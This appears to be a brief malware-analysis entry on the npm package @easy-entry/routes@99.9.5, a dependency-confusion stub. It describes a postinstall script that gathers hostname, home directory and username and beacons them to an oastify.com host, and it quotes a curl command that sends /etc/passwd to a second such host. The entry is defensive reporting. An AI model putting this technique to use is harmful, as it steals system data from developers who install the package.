@easy-entry/routes@99.9.5

Analysis

A dependency-confusion stub in the @easy-entry scope (version 99.9.5, 588-byte tarball, no real code) with a two-stage postinstall exfiltration payload: scripts/scream3gg.js collects os.hostname(), os.homedir(), and os.userInfo().username, hex-encodes them, and beacons via fetch to nmd25sur8sjp60lm75dp67e2gtmkaayz[.]oastify[.]com; then curl --data '@/etc/passwd' exfiltrates /etc/passwd to $(hostname).200hj786m7x4kfz1lkr4kmshu80zoqcf[.]oastify[.]com.